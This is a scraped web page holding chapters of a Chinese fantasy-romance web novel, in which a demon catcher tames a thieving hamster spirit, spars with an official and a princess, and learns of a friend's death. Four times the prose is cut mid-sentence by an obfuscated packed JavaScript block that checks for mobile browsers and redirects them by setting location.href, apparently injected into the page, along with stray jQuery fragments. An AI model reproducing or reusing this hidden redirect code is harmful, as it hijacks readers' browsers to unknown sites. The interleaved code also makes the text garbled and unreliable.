二当家疯狂点头,阿婵反手就是“啪”地一巴掌。 霍彦先将当地的绣衣察事司司众唤来,押解寇天良到当地县衙。 女子心有余悸地对阿婵和霍彦先行礼:“多谢二位侠客仗义相助,不仅帮我擒获作恶贼人,还有……作恶鼠妖。” 阿婵手中抓着的仓鼠精垂死挣.扎:“大胆!我不是作恶鼠妖!行不更名,坐不改姓,我乃东仓使者是也!” 虽然此刻它身上的米袋子已经漏得瘪瘪的,虽然它的紫灰皮毛锉锉然十分凌乱,看起来很是有些凄惨,但言语间还是有股傲气。 东仓使者,霍彦先看它一副倒霉相,觉得这名字太过聪明正经,和它的外表不符。 “你们不要错怪好妖!你,看得到吗,我身上的福报可是很深厚的!”东仓使者指着阿婵说。 阿婵其实看得出来,它确实有福报在身,要不是因为这个,她也不会在符箓跟踪它的时候出手相救,但是…… “你有福报归有福报,跟人结仇归跟人结仇,要不是我把那道追杀你的符箓控制住了,你还能在这儿偷大米?” 东仓使者一愣,“什么符箓?” 阿婵将一道黄纸符箓扔到了东仓使者面前。 东仓使者眼神骤变,扯着尖细的嗓子大骂:“于金匮这个糟老头子坏透了!当初还是偷少了,早知道就应该一口气将他家里全搬空!” 阿婵接着问:“于金匮是谁?你和他有什么深仇大恨?如果你仅仅是偷了他点东西,他为什么要大费周章去找道士画这种非要置你于死地的符箓?” “还不是因为他忘恩负义,为富不仁……”东仓使者恨恨道。 “怎么个忘恩负义为富不仁法儿?”她拍拍霍彦先的肩,“正好,我们这里有位霍大人,你说出来,好让他为民除害。” 霍彦先瞥了一眼阿婵放在自己肩头的手,轻咳一声。 东仓使者尖细着嗓子道:“没用的,于金匮和官府、地头蛇关系好着呢,寻常的办法根本扳不倒他,要不是因为这个,我也不会出手。” 阿婵眼睛一亮:“和官府地头蛇关系好?那更好办了!” 东仓使者看着她,一脸的“你有病吧”的表情。 “没关系你说说看,我们这位霍大人,专门找官府和地头蛇的麻烦。” 阿婵自信满满拍了拍霍彦先的肩,一副介绍驰名小吃的语气,霍彦先非常嫌弃地掸掉她的手。 东仓使者看了看霍彦先,见他周身肃杀之气很重,看样子确实不一般,只好道:“好吧,你最好说话算话。” 接着,它便开始讲述自己为什么会被追杀。 原来,这个于金匮,是本地的富商,卖桐油发迹。 但在二十年前,他经营木材生意,周转不善,破产逃债至此,路途中差点染病身亡,曝尸荒野。 当时,幸好有一位叫丽娘的年轻女子把他从林子里捡回来,日夜照顾,他才逃离鬼门关。 于金匮发誓要好好报答丽娘,发现她也是父母双亡,孑然一身,靠绣花过活,二人就顺理成章地搭伙过日子,结为了夫妻。 可婚后,他又动起了做生意的心思,但他手中没钱,妻子更没钱,怎么办呢? 这世上有很多种白手起家的方法,但他选择了痛哭流涕地给丽娘磕头,然后把她——自己的糟糠之妻典当了出去,给别人做妾,以此收取租金的赚钱方法。 就这样,他毫不费力地赚得了第一桶金,靠着这点钱做桐油生意,居然意外顺利,生意红红火火,蒸蒸日上。 后来日子好了,他便把妻子赎了回来。 这个行业竞争激烈,同行有不少知道这件事的,每次在酒桌上应酬,都会谈及于金匮的发妻,纷纷夸赞她是天下难得的贤内助。 “嫂子为了你牺牲不少,这样的妻子去哪里找啊,于兄真是好福气!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175975|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表面是称赞,实则明里暗里讽刺于金匮自己给自己戴绿帽,知道他最要面子,还抬着他,让他不得不把这绿帽戴一辈子,任人取笑。 于金匮很是气闷,尤其看着其他富商身边的莺莺燕燕,个个貌美如花,柔情蜜意,而他却为了个爱妻的名声,不得不养着家里那个人老珠黄,每天只会闷头绣花的粗鄙妇人。 妻子丽娘给人做妾时生了儿子,却险些大出血丧了命,从此再不能生儿子不说,也干不了重活。 每天在家除了吃饭睡觉,就是闷头绣花,连个好脸色也不给于金匮,他一见她就厌烦,二人经常争吵。 又一次争吵爆发,于金匮掀翻了丽娘的绣花奁,绣线绣针散落一地。 “整天就知道闷头绣绣绣,连句好话也不会讲,我好吃好喝养着你,劳碌一天,回来还要看你摆脸色!” 丽娘弯着酸痛的腰,把地上的一根根绣线和绣针捡起。 她以前就是靠这样一针一线没日没夜地绣,才有钱给他买药,捡回他的一条性命。 她还记得,那时候文弱的于金匮握着她的手,叫她不要太辛苦,眼中全是心疼,“丽娘,我一定会努力赚钱,以后咱们有了钱,再不需要你这样辛苦。” 再看看如今眼前这个大腹便便满面油光指责她的男人,丽娘觉得从前的记忆似乎只是幻觉。 她的人生,从二十年前独自到林间决定救人开始,全部错了位。 绣花针刺进手指,尖细的疼痛终于令她清醒,真可笑啊,她还在期待什么呢?期待他眼里有她,心疼她么? 她将针线收进绣花奁,也把心收拾好。 离开吧,哪怕以后风餐露宿,她也认了。为了锦衣玉食忍受这种没有心的男人,不值得。 “于金匮,全禾阳的人都知道你对妻子好,这一次,我的要求你也一定要满足。” 发妻要和离,于金匮简直求之不得,大手一挥签了放妻书,当晚丽娘只背了一个包袱便走人了。 于金匮如释重负,对外还说是无法对妻子更好,妻子不满意才走的,转天便姬妾盈门。 “离开于金匮之后,丽娘独自住在城郊村中,干不了重活,只能继续绣花为生,没日没夜地绣,绣瞎了一双眼。 我见她可怜,能帮一把是一把,久而久之和她熟了,她才和我讲起这些事情。 丽娘孤苦伶仃也就算了,那该死的于金匮凭什么享尽荣华富贵,一毛不拔,姬妾不断,还和当地官府勾结,垄断行市,我不过是偷了他一半家财给她,那是她应得的!” “你竟然只偷了一半!你糊涂啊!”阿婵气愤道。 霍彦先:“……” 72. 公主和他 “可不是!我能有什么错?他钱那么多,我一趟趟搬也很累的好不好!”东仓使者抱怨。 “而且我才偷了一半,就被富商请的道士盯上了,前几次的道士道行浅,被我逃了,哪知道这次请的这么厉害,我完全没察觉,你差点就铸成大错,错杀良妖了你知不知道!”东仓使者十分激动。 阿婵嗤笑:“得了吧,要不是我,你早被符箓电成仓鼠干儿了……” “哎,都怪于金匮!” “对!都怪他!” 东仓使者和阿婵一时间同仇敌忾,在那里骂于金匮骂得十分起劲。 霍彦先:“……” 阿婵骂了一阵,发觉东仓使者离她越来越远,都挤到了走廊边缘,立刻用山蜘蛛丝把它拽过来,“怎么,想跑?” 东仓使者被戳穿,立马垮了鼠脸,“又不是我的错,为什么不能走?” “那这袋子里的是什么?”阿婵指着它身上那个瘪瘪的袋子问。 “丽娘家里没米了,我给丽娘送一点~” “靠偷?” “哎呀,别说得那么难听嘛。”东仓使者搓搓爪子。 “你之前见丽娘可怜,怎么帮她的?” “就……拿点邻居的食物和钱给她呗。” 东仓使者说得理直气壮,面上毫无愧色。 阿婵:“……” 霍彦先:“……” 阿婵点点它的小脑瓜:“你让丽娘的处境更难了知道吗?她的邻居会怎么想她?你觉得她可怜,就偷别人家的东西?于金匮亏欠她也就算了,但是邻居没有啊。” 东仓使者眨巴着无辜的眼睛,心虚地说:“那……我不也是好心嘛……” “而且,你是不是还偷了岩明观大殿里供奉的玉笏?砸了道长的头?”阿婵补充道。 东仓使者立刻变脸:“你怎么知道?” “你的‘英勇事迹’我从那追杀你的道士口中听了不少,人家的暗八仙你也敢偷,还想不想继续修炼了?” “……那道观的道士几次三番找我麻烦,我嫌烦,就报复一下嘛……”东仓使者气势渐弱。 阿婵伸出手,“看在你热心帮丽娘的份儿上,把玉笏还回来,跟我去给道长道个歉,我就替你说说好话,让他不要追究。” 东仓使者被阿婵束缚,只能老老实实交给她。 阿婵将玉笏收进背囊,对东仓使者说,“现在你归我管,这袋子大米我会替你给掌柜的钱,一会儿把米给丽娘送去。你偷邻居的钱和食物,我也会帮你还给他们。但是,你要和我缔结契约,今后听我差遣。” 东仓使者还想努力偷偷挣.扎一把。 阿婵抱着手臂闲闲笑道:“你逃啊”。 东仓使者:“……” 无论它怎么费力,发现都挣脱不了阿婵的无形威压,看来今日真是碰上硬茬儿了。 “好了好了,我认栽!”东仓使者在她的巨大威压下累得瘫成一片儿,终于屈服,和阿婵缔结了契约。 阿婵这才想起霍彦先,“霍大人,你看于金匮这老贼,忘恩负义,虐待发妻,勾结官府,垄断行市,简直是不除不快!但他跟地头蛇和县令关系好,你要是将他交给县令,县令包庇他怎么办?” 霍彦先露出温和微笑,“那就看这县令是想和于金匮地头蛇为敌,还是想和绣衣察事司为敌了。” “大人英明!”阿婵竖起大拇指。 东仓使者虽然不知道霍彦先是谁,但看他的笑容,没来由觉得心中一颤,觉得这人和阿婵笑得很相似,怎么看都十分心黑! *** 说完,霍彦先便去着人处理于金匮的事。 很快,他便回来。当地的绣衣察事司问责县令,连带处理地头蛇和于金匮需要一段时间,不过这种简单的小事,是绣衣察事司最熟悉不过的,等结束了他再过去露个面,看看有什么问题需要解决也来得及。 此刻,他终于得空,刚想问阿婵话,却被阿婵捷足先登。 “听说大人你抓到了煞气凶手,是庄戴英?到底是怎么回事?梁秋月流产并非煞气所为,我不是和你说了吗,是不是有什么地方搞错了?” “这件事情很复杂,等会儿再跟你解释,我先问问你,你怎么又来禾阳了?” 阿婵道:“当然是因为我一生勤劳捉妖、挣钱糊口啊,不像大人你还可以跟着美人游山玩水。” 霍彦先:“?” 阿婵眉峰一挑,努努嘴,霍彦先顺着她的视线,斜睨到对面廊道上的女子,竟是玥宜公主! *** 玥宜公主本来累了一天,睡得很沉,但听到外面的动静也醒了,想出来,但顾着公主威仪,还是穿戴得精致整齐才让婢女打开房门。 甫一出房门就看到很多便衣侍卫在周围,说霍大人在处理贼人,让他们保护她,待在房间不要乱跑。 她扒着回廊栏杆看向二楼,霍彦先在和一个女子说话。 那女子素衣素裙,却掩不住纤细姣好的容貌身段,二人离得很近,好像很熟悉的样子。 她连忙不顾劝阻跑到二楼,但霍彦先一直只顾着和素衣女子说话,看都不看周围。 直到刚才那女子提醒,他的眼神才从她身上移开,玥宜公主心中很不是滋味。 “彦先哥哥,你在和谁说话?”她的声音控制不住有点酸溜溜的。 “公主殿下,打扰您了,臣马上处理完这里的事,已经没什么危险了,请您回房休息。”霍彦先抱拳行礼。 玥宜公主见霍彦先并不回答她的话,还故意将那素衣女子挡在身后,不让她看见,心中顿时更加酸涩,言语也变得刻薄起来: “半夜三更不睡觉,哪个良家女子会和男人如此近地说话?”公主状似无意地从鼻孔里飘出一句。 阿婵闻言,双眸微眯,手下一动。 下一刻,只听得玥宜公主的尖叫回荡在整个客栈: “啊啊啊啊啊啊——有老鼠啊啊啊啊——” 目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191010|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睹这一切的霍彦先恨不能离开这个美丽的世界,阿婵居然放东仓使者去吓公主……她要不要这么睚眦必报! 东仓使者已经和阿婵缔结了契约,因此必须要听阿婵指挥。 只见它故意使坏,绕着玥宜公主的裙摆四处乱爬,公主吓得哇哇乱叫,跳着脚到处躲,恨不得整个人爬到廊柱上。 “公主别怕,我来救你!” 阿婵朗声说道,瞬间犹如离弦的箭一般,冲到玥宜公主身边,三下五除二,将东仓使者捉住,拎到公主面前:“看,抓到了!” “啊啊啊啊啊——快拿走啊啊啊!”玥宜公主从没有距离一只老鼠如此之近,简直快要昏厥过去! 东仓使者也被她的尖叫震得振聋发聩。小小一个弱女子怎么能发出如此可怕的声音! “哦。”阿婵非常听话地将东仓使者拿开,待到她回来,霍彦先看到她手中已经没有东仓使者的踪迹了,米袋子也没了,大概是已经让它给丽娘送大米去了。 玥宜公主也恢复了平日的风仪,抚着胸口对阿婵说:“刚才是我误会你了,谢谢你帮我抓老鼠……” 阿婵挥挥手:“哎,小意思小意思,公主客气了。” 霍彦先:“……” 事情怎么会变成这样? 然后玥宜公主就拉着阿婵问长问短。阿婵以三寸不烂之舌描述了一下刚才发生的事情。 公主得知她抓的不是普通老鼠而是一只老鼠精,这老鼠精是为了报复一个负心渣老头,还和霍彦先抓住了一个山匪二当家,对阿婵越发崇敬:“闻寰居士当真厉害!” “哎,公主过誉了。”阿婵谦虚地摆摆手,冲霍彦先眨眨眼,笑得狡黠。 霍彦先:“……” 玥宜公主看到二人的眼神交流,心中还是有些不自在。 她当即对阿婵说:“你们熟归熟,但是不可以在一起。” 阿婵揶揄地看向霍彦先,视线在公主和霍彦先之间来回逡巡,充满“了解了解我都了解你不必多说”的意味。 随后给公主吃定心丸:“那是自然,如此优秀的霍大人,自然只能配得上公主这样的高贵女子,像我们这种苦命的牛马哪里高攀得上呀。” 霍彦先急道:“公主出巡,我只是奉圣人之命护送公主而已……” 阿婵见他莫名急着解释,觉得好笑:“了解了解,别急别急……” 霍彦先话一出口也愣住,不知道自己这是怎么了,竟如此沉不住气,但他就是不想阿婵误会。 公主委屈巴巴地看向霍彦先,他又在撇清和自己的关系。 但下一刻,她安慰自己,没关系,彦先哥哥不接受自己也没关系,只要闻寰居士没有这个意思就行! 霍彦先看着眼前的两个女子,阿婵看着他促狭地笑,玥宜公主满眼委屈,他一个大男人夹在两人之间,感觉一个头两个大。 危险!麻烦!都很危险!都很麻烦!还是得离女子远一点! 霍彦先心中呐喊! 73. 毁容 “岂有此理!她们怎么能如此无礼!” 玥宜公主今日本准备去安慈堂和安孤堂视察,但此时还没出发,霍彦先从院外检查好随行车驾,回来便听见公主在大发脾气。 “何事惹得公主殿下如此生气?”霍彦先皱眉问婢女。 “彦先哥哥你来得正好,我出发之前发了帖子,这几日设宴邀请禾阳贵女,往年都好好的,结果这次一个两个都说不来,她们什么意思嘛?!” 玥宜公主铁青着脸将回帖递给霍彦先。 霍彦先打开一一过目,好家伙,怪不得公主这么生气。 一共发出去十几个请帖,回帖有一半贵女都说不能赴宴,原因一模一样,都称自己病了,无法出席。 要是一个两个这样也就算了,一半都称病避而不见,这不是摆明着不给公主面子? 霍彦先也觉此事蹊跷,安抚公主:“此事臣会令绣衣察事司尽快去查,请公主先正常前往安慈堂和安孤堂,一有消息,臣会立马和您禀报。” 玥宜公主这才气呼呼地上了马车。 *** 好在,公主的白日行程没出岔子,总算顺利结束,霍彦先连口气都没歇,直奔禾阳县的绣衣察事司据点。 当地的绣衣监侯已查到贵女们拒绝赴宴的原因,原来是因为一种奇怪的疫病。 “回禀大人,属下查到,此种疫病传出后,县令曾经调查过,但是未果,为了避免事态进一步扩大,并传出不好的舆论,县令曾下达限制令,令染病的贵女们不要出府,在府内静养,同时令所有知晓此消息的人都保密,并找来禾阳县主帮忙治疗配药。” “禾阳县主?”霍彦先拿着手中的档案,上面的人像赫然就是那日他和阿婵夜里在客栈相救的女子,还真是巧了。 “最后治好了吗?” “据禾阳县主说此症古怪,不太像会传染的疫症,不知道为什么一时间会有这么多贵女同时患病,但仓促间她也找不到病症根源,只能先配药缓解一些症状,脸上会残留疤痕毁容,所以罹患此症的贵女们至今也还不敢出府。” 贵女集体毁容,听起来又是个棘手的问题,不得耽搁。除了于金匮的事,这县令到底还隐瞒了多少事情,看来得好好整顿一番。 霍彦先叹了口气,折回去先将结果禀告公主。 “什么?你说她们没有说谎,真的是疫病毁容?”玥宜公主大惊失色。 “是的殿下,那些贵女不来赴宴,一是怕疫病传染给殿下,二是怕毁容污了殿下的眼睛。臣觉得此事非同小可,已经命杨奉安等人从桓安过来协助调查。” “好,给我好好查!”天气本就燥热,公主在外跑了一天,此时喝了一.大口茶才压下心头的怒火。 “我大桓女子也太难了!先有多起煞气作祟导致无辜孕妇流产,再是众多贵女被毁容,到底是谁这么狠毒!阿娘要是在的话,绝对不会允许这种事情发生!” 霍彦先知道玥宜公主在气什么,嘉善皇后生前对大桓女子的医疗、教育、嫁娶待遇等都非常重视,所以本国女子的生存境况一直都比周围邻国要好很多。 但自她薨逝,后宫无主,关于大桓女子新的帮扶政策也再没有人提起。 圣人有众多国家大事要操心,玥宜公主将嘉善皇后之前的政策沿袭下来,都要耗费很多心力,就是想提新的,以她的年纪阅历以及能力,也是有心无力。 眼看着这些年一些虐待凌.辱女子的糟粕风俗又有死灰复燃之兆,可怜嘉善皇后一片苦心,如果她在天有灵,看到如今大桓女子这些遭遇,一定会非常痛心。 “臣一定尽快彻查!” 霍彦先得令告退,见天色还不是很晚,便立刻动身到禾阳县主府了解贵女毁容的治疗内幕。 哪知他前脚刚迈进县主府的院子,便看到熟悉的身影。 “阿婵?” “霍大人?好巧啊!” 阿婵刚刚和禾阳县主预定了暂时压制楼映真“蚀颜蛊”蛊毒所需的药粉。 她是真没想到禾阳县主就是在客栈见到的女子,二人再次重逢,相谈甚欢,求药也异常顺利。 所以此时阿婵心情很好,见到霍彦先便轻快地打招呼,“大人也来找县主求药吗?” 随即立马思维发散,想到霍彦先和玥宜公主一路乔装到此,恍然大悟:“哦~难道你和公主……” 霍彦先气急败坏道:“你不要胡说,我和公主没什么!” 阿婵见他跳脚,吓了一跳,也是奇怪:“大人干嘛这么生气?我只是想说,你和公主微服到此是不是为了找县主求一些美容养颜的药,不想公开让后宫女眷知道,想偷偷求药保养然后惊艳所有人?” “……” 霍彦先一脸的没好气,昨晚是这样,今天又这样,他也不知道为什么刚才就急赤白脸地跟阿婵辩解。 平时他不是没有被人说过和公主的风言风语,他一直都不解释,也从不怕旁人误会。 但昨晚和刚才,阿婵那样问,他突然害怕阿婵误会他和公主之间不清白,虽然不知道为什么,但如果阿婵误会,他就会不爽,非常的不爽! 都怪阿婵老是不经意就突然出现一下,每次还都伴随着奇奇怪怪乱七八糟的事件,自己这脑子被她搞得多少是有点毛病了! 霍彦先天人交战一通,抬眼,见阿婵还一脸无辜地望着他,才如同被扎瘪了的河豚,有气无无力地说:“对不住,刚才是我着急,一时误会了……” “没事没事,大人您别急,县主的美颜药膏真的不错,刚才我和县主小聊一下,受益匪浅,趁她现在不用四处微服给百姓看诊,您快去找她吧。顺便也看看您这易怒上火的症状,是天太热了还是上了年纪……” “你……” 阿婵拍了拍霍彦先的肩,非常小声迅速地说完最后一句,趁霍彦先反应过来之前,赶紧一溜烟跑了。 果然!一见她就一肚子邪火!肯定不是他的问题! 霍彦先内心默默骂骂咧咧,往前走了两步,才回过神来:“她到这儿干什么来了?” 但是查贵女毁容之事要紧,他只得先将一肚子要问阿婵的话咽下。 *** 过了两日,阿婵按照约定到禾阳县主府上取药。 “你在客栈救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191011|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过我,这钱我不能收。”禾阳县主推拒了阿婵带来的药金。 “别别别,这可不是我付给你的,是我主雇给的,反正她不差钱,不用替她省。”阿婵豪迈地说。 禾阳县主:“……” “但是……”阿婵讪笑开口:“还有一事相求……” “你说便是。” 阿婵凑近县主,压低声音道:“这个药怎么涂,才能好得慢一点?” “?” 禾阳县主迷惑不解,随即开玩笑说:“为什么要好得慢一点,难道你要毁坏我的名声吗?” “不不不!”阿婵连忙摆手,“哎呀……这不是可以让男人多心生怜惜一些嘛,女子生存不易,有些争斗避免不了,但这毁容的委屈也不能白受不是?要化劣势为优势,该利用上的就利用上。” 阿婵一副“你懂的”的表情看着县主。 禾阳县主岂会不懂后宅这些弯弯绕绕,“哎,你真是……” 她无奈地看着阿婵,“那你加一味药,药效就会减三分之一,能好得慢一些。” 说着,她便随手拿起桌旁笺纸写下药名和研磨的方式,交给阿婵:“你去药坊让人研磨好,在我给你的药盒中掺匀便是。” 阿婵接过笺纸,一看就是寻常的药材,很容易买到,放心下来,笑眯眯道:“好,多谢县主。” 禾阳县主随口说道:“最近也不知怎么了,问题都出在脸上。” 阿婵闻言好奇:“怎么说?” “霍大人最近不是也在调查么?前两个月,我们这里也出了怪事,许多贵女一.夜之间出现了古怪的面部疱疹,和你雇主的面部症状不完全相同,但多少有点相似之处。” 说完,县主才反应过来,“诶,你和霍大人不是一起查案的吗?怎么你不知道?” 阿婵坦言:“我们并没有一起查案啊,只是恰好遇到而已。” “啊?完了!”禾阳县主捂住嘴巴,“霍大人这个案情是可以和你说的吗?” “没事没事,你别担心,我和霍大人很熟,不会将这件事泄露出去妨碍他调查的。你放心,绣衣察事司的规矩我懂,要是泄露出去我会死得很惨的。”阿婵赶紧发誓自己会闭嘴。 禾阳县主这才放心。 不过阿婵心下也觉得奇怪,楼映真和禾阳贵女之间能有什么联系?她直觉这其中有蹊跷,但目前细节她都不了解,打算找个机会旁敲侧击问问霍彦先。 不过,今日的任务已经完成,阿婵也不准备多逗留。 “多谢县主,那我就先告辞了。”阿婵行礼告辞。 “不必客气。”禾阳县主起身相送。 二人向会客厅外走去,中间路过一面多宝阁隔断,里面放置了很多精美雅致的摆件。 阿婵无意中扫了一眼,视线突然被其中一个木雕吸引。 那木雕形态奇特,线条粗犷,阿婵一见,瞬间脸色煞白,像被雷劈中一般,呆立当场。 禾阳县主在前面引路送阿婵出去,回头却发现身后的人一动不动。 她顺着阿婵的视线看过去,问道:“怎么了?你喜欢这个木雕吗?” 74. 阿菀之死 阿婵回过神来,忙道:“不不,只是我自己也喜欢收集木雕,却从未见过风格这般奇特的作品,一时间失态了。” 禾阳县主:“无妨,这木雕确实是风格奇特,世间罕见,而且雕刻这个的人,还是和咱们年纪相仿的女孩子。” 阿婵目光闪动,勉强扯出一个笑容:“看这木雕线条劲力深厚,真是没想到竟然还有这样优秀年轻的女木雕师。” “是啊,这是我去桓安无意闲逛市集时,正巧看到她在铺子里做木雕,当时便觉有趣,让她帮忙制作了一个木雕带回来。” 禾阳县主说,她给那个女木雕师留下成贤客栈地址,因为自己不常在桓安,如果有新的样式,可以给她不定期寄图样到客栈,如果合适,她便会付钱买下。 她还告诉女木雕师,自己是郎中,如果有需要可以写信给她或者去成贤客栈找她问诊。 “请问,我可以拿下来看看吗?”阿婵盯着那个木雕问。 “当然。”禾阳县主将木雕自多宝阁中取下递给阿婵。 阿婵的手抚上木雕,有些轻颤,嚣张粗犷的线条,触.手却很温润细腻,一看便知是经过精心打磨剖光的心血之作。 这是阿菀的木雕,她绝对不会认错。 阿婵强忍住落泪的冲动,贪.婪地盯着木雕。 禾阳县主见她如此喜欢,便道:“你既如此喜欢,便送给你吧。本来如果有机会,还可以介绍你们认识,想来你们一定会很投缘,只可惜,她已经不在人世了。”说着她叹了口气。 阿婵收拾情绪,故作惊讶道,“这么年轻就去世了,真是天妒英才,可是出了什么事吗?” 禾阳县主便说,这位女木雕师几年前嫁了人,从那时起,木雕作品的产出数量便少了。 她自然理解,毕竟大多数女子嫁做人妇之后,都忙于相夫教子,她只是有点可惜这好手艺。 过了差不多一年时间,她再次收到了女木雕师的信。 信中,女木雕师问她有没有能够快速恢复产后身材的药。字里行间透露出来的全是焦虑、忐忑和不安。 禾阳县主非常惊讶,因为这和她见到的那个神采飞扬、运刀如神、腼腆又可爱的女木雕师,似乎完全不是一个人。 她继续往下读信,发现女木雕师生育之后,身体的一些症状,很像中了厉害的寒毒。 当时禾阳县主本欲到桓安上门亲自给她看诊,但恰巧遇到一些皇家宫闱内的急事牵绊走不开,便回信问女木雕师为什么会有这些症状,可是月子期间没有保养好?可有及时就医? 因为在县主看来,正常产妇稍微受寒也不会有如此严重的症状,况且女木雕师嫁去的据说也是富贵人家,似乎不需要生产后立马开始劳作,居所也不是什么简陋屋舍,会导致沾染风寒。 如果保养得当,是不应该在短短一年之内,体内便有积聚如此厉害的寒毒的。这太不寻常了。 女木雕师回信,称有看过医生,但她的嫡姐和两位闺蜜建议她说,想要保持产后身材尽快恢复,需要冷热水交替浴,这是女子想要拴住丈夫心的最好方式。 阿婵眉头紧蹙,从牙缝里挤出疑问:“什么是……冷热水交替浴?” 禾阳县主也是一脸荒谬:“她自述是刚生产后一个月,便在沐浴时,先浸冰水一刻钟,再换滚烫热水浸一个时辰,反复交替。还说这是嫡姐和两个闺蜜找来的秘方。” 阿婵听到这里,呼吸已然不畅,握紧拳头,竭力控制自己胸腔不要过度起伏,但恨意还是透了出来:“哪门子的姐妹和闺蜜会出这种主意……” “是啊!关键她还真的听信!”禾阳县主气得捶桌。 她随即意识到自己失态了,整理了情绪继续道: “我当时非常震惊,但实在是宫中有要事走不开,只能立即派快马回信,告诉她绝对不要再那样做,哪有产妇经得起那样的折腾! 不知道她为什么会真的采取这些人的意见,这明显不是正常人会做出的行为。 我当时见她回信的字迹都透着虚浮,就知道坏了,要知道她的手可是握木雕刀都十分有劲力的手啊!” 阿婵沉默不语,嘴唇紧抿,极力掩饰眼中迸发的怒意。 禾阳县主叹了口气:“女子生存何其艰难,为了拴住丈夫的心,能做到这个地步,不知道她平日里都经历过什么?当时我劝说她,不要以伤害自己为代价去留住男人的心。还给她开了祛除寒毒、弥补气血亏空的药。” “那她……回信了吗?” “倒是回了,只是说感谢,就没有音信了。我放心不下,忙完宫中的事情立马去找她,不过那也已经过了几个月,再到木雕铺的时候,便听闻她已经去世的消息。” 禾阳县主说着,眼圈也红了,看着阿婵手中的木雕不住惋惜,“多好的女孩子,可惜了。” 她抬头见阿婵坐在那里出神,眼神冷得吓人,连她都被吓到了,连忙问:“你还好吗?” 阿婵睫毛轻颤,回神哑声道:“没事,只是没想到会有这种事情,实在是太荒谬了!为了一个男人而已,何苦做到这个地步。还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196436|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那三个姐妹闺蜜,不怕遭报应吗……” 禾阳县主点头表示赞同,二人一时相对无言。 片刻后,阿婵神色恢复平静,对禾阳县主说:“今日叨扰县主多时,我就先回去了。” “好,这木雕你拿回去吧。” “不了,毕竟是故人相送,不敢让县主割爱。” 两人再次对着木雕叹气,而后阿婵起身告辞离开,县主欲相送,她婉拒了,对方也没勉强。 阿婵独自一人恍恍惚惚往县主府外走去,对身边所有经过的人事物充耳不闻。 今日禾阳县主所说的这一切,是她不曾调查出来的事情,阿菀生育前后这段时间,到底经历过什么? 庄菀、阮云薇、楼映真到底在阿菀身上还用了多少恶毒的法子! 暑热的午后,她只觉周身发冷,如坠冰窟。 “喂……你没事吧?” 阿婵忽听得耳边传来一声喊,下一刻便有人揽住自己的手腕用力往后一拽。 “你走路怎么都不看路?”熟悉的声音将阿婵拖回现实。 她回神,惊觉自己下一刻便要走到县主府的池塘里去了。 “霍大人?”阿婵的声音和神情还透着一丝空茫。 一旁跟着的杨奉安赶紧解释,“哎呀阿婵姑娘,你这是怎么了?我们大人一连叫了你五六遍你都没听到,还直直往池塘里走,幸好大人拉住你了!” 霍彦先见阿婵脸色不好,又想到县主就是专门治病的,没来由紧张起来,“你脸色怎么这么差,可是生病了?” “啊?哦……没事没事,我就是来替别人拿药的,大人您忙着,我先走了……” 阿婵现在不想跟任何人说话,敷衍两句便往外走。 “……” 霍彦先气笑了,冲着她的背影喊,“你来拿药,那药呢?” 阿婵茫然回头,发现霍彦先举着一个药包朝她晃。 她低头,才发现自己两手空空。 她瞬间就想抽自己两巴掌,每次遇到阿菀的事就如此不淡定,偏偏每次都被霍彦先撞见。 她只能笑着敷衍,“对不起啊大人,我这几天没睡好,有点恍惚。” “天天睡不好,又没钱好好吃饭,你这样是想提早几年去见阎王爷吗?”霍彦先一脸无语。 “谢谢大人帮我捡药,我这就回去好好休息。” 说着阿婵便要伸手去拿霍彦先手中的药包。 “等一下……”霍彦先见到药包中掉漏出的半截药方,突然神色一变。 75. 不慎睡着 阿婵正想走,却被霍彦先一把拉住。 “?”她不明所以回头。 霍彦先将药方抽出来,仔细阅读,“你这药方,可是专治女子毁容的?” “大人看得懂?” “给谁治?” “楼映真楼娘子,大人应该也认识。她是我的雇主,前段时间脸上莫名起了古怪的东西,我特意替她来求药。” 见阿婵对答如流,丝毫没有要隐瞒的意思,霍彦先又冷静下来,问她:“怎么,她的脸连你也治不了吗?” 